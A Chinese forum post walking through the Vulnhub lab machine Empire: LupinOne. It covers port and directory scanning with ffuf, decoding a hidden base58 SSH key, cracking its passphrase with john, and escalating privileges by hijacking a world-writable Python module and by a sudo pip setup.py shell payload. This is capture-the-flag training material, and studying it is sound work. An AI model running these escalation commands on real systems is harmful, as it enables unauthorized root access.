回答

收藏

Vulnhub 靶机篇:Empire LupinOne

HG021B HG021B 24038 人阅读 | 0 人回复 | 2023-12-04

本帖最后由 Happiness 于 2023-12-4 11:17 编辑


0x01 靶机信息


  • 名称:Empire: LupinOne
  • 发布日期:2021 年 10 月 21 日
  • 作者:icex64 & Empire Cybersecurity
  • 系列:Empire
  • 难度:中等
  • 简介:这个盒子被设计成中等大小,但如果你迷路的话可能会很困难。 CTF 类似盒子。你必须尽可能多地列举。
  • 下载链接: https://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
  • MD5:2A8A9F31DE8030C196123023187F63BD
  • 网络:DHCP自动分配

0x02 Write-Up
2.1 主机扫描
fping -aqg 192.168.181.0/24
-a 显示存活主机,-q 安静模式(只显示最后汇总结果),-g 选择网段
136是本机,139是Empire目标机

index.png

2.2 Naabu扫描端口和服务
naabu -p - -host 192.168.181.139 -nmap-cli "nmap -sV"
-p - 扫描所有端口,-host指定主机,-nmap-cli 调用nmap指令,-sV扫描服务详细信息
目标机开放了22和80端口

index-1.png


主页是静态页面

index-2.png


查看源代码,只有一句作者留下的鼓励话语
!Its an easy box, dont give up.
它是一个简单的盒子,别放弃。

index-3.png


2.3 Dirmap目录扫描
python3 dirmap.py -i http://192.168.181.139 -lcf
-i 指定域名  -lcf 载入默认配置文件
扫描出三个新路径 (manual,robots.txt,image)

index-4.png

在robots.txt下发现新目录~myfiles

index-5.png

访问显示404

index-6.png

我们根据~目录名的格式扫描网站目录

2.4 FFUF 模糊扫描
ffuf -c -w /usr/share/wordlists/dirb/common.txt -u "http://192.168.181.139/~FUZZ" -fc 403
-c 带颜色的输出,-w 指定字典目录,-u 链接,-fc 过滤状态码
发现目录~secret

index-7.png

目录下有一段英文

index-8.png


Hello Friend, Im happy that you found my secret diretory, I created like this to share with you my create ssh private key file,
Its hided somewhere here, so that hackers dont find it and crack my passphrase with fasttrack.
I'm smart I know that.
Any problem let me know
Your best friend icex64
翻译:你好朋友,我很高兴你找到了我的秘密目录,我这样创建是为了与你分享我创建的 ssh 私钥文件,
它隐藏在这里的某个地方,这样黑客就无法找到它并用 fasttrack 破解我的密码。
我很聪明,我知道这一点。
有任何问题请告诉我
你最好的朋友icex64

说明这个目录下面存在一个用户为icex64的私钥文件,并提示我们用fasttrack破解密码
使用ffuf继续扫描,由于是隐藏的私钥文件,我们直接以 . 开头搜索
ffuf -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u "http://192.168.181.139/~secret/.FUZZ" -fc 403 -e .txt,.pub,.private,.html
-e 指定模拟的后缀名
发现文件mysecret.txt

index-9.png

访问后是一串编码

index-10.png

经过www.dcode.fr网站识别为base58

index-26.png

解码

index-12.png

将内容复制到passwd文件内

index-13.png

2.5 john工具破解ssh私钥
ssh2john passwd > passwd.hash
使用ssh类型的转换工具把私钥转换为哈希文件
john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.hash
使用上文提到的fasttrack字典文件来破解它
--wordlist 指定字典目录
得到icex64密码为:P@55w0rd!

index-14.png

使用私钥和密码登录ssh
chmod 600 passwd
私钥文件的固定权限
-i 指定私钥

index-15.png

登录后查看用户权限,发现arsene可以在不用密码的情况下执行脚本

index-16.png

到arsene用户目录下查看文件,发现一个note.txt

index-17.png

Hi my friend Icex64,
Can you please help check if my code is secure to run, I need to use for my next heist.
I dont want to anyone else get inside it, because it can compromise my account and find my secret file.
Only you have access to my program, because I know that your account is secure.
See you on the other side.
Arsene Lupin.
翻译:嗨,我的朋友 Icex64,
您能否帮助检查我的代码是否可以安全运行,我需要用于下一次抢劫。
我不想让其他人进入其中,因为它可能会危害我的帐户并找到我的秘密文件。
只有您可以访问我的程序,因为我知道您的帐户是安全的。
在另一边见。
Arsene Lupin.
这里提示要我们仔细检查一下他的代码,并且我们有权限执行
发现了它调用了一个模块文件webbrowser

index-18.png

寻找webbrowser模块文件位置,首先查找python路径,再看存放库文件的目录
whereis python
查找python位置
ls | grep web
过滤有web关键字的文件

index-26.png

看到webbrowser库文件执行权限为777,我们能够修改

index-20.png

脚本内还调用了os模块

index-21.png

2.6 os提权arsene用户

利用webbrowser库文件执行/bin/bash,和python3.9权限提权arsene用户

index-22.png

sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py

index-23.png

查看用户权限发现可以无密码执行root下的pip

index-24.png

2.7 利用pip最终提权
pip提权
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
到此获取了全部权限的最终flag

index-25.png

分享到:
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

140 积分
16 主题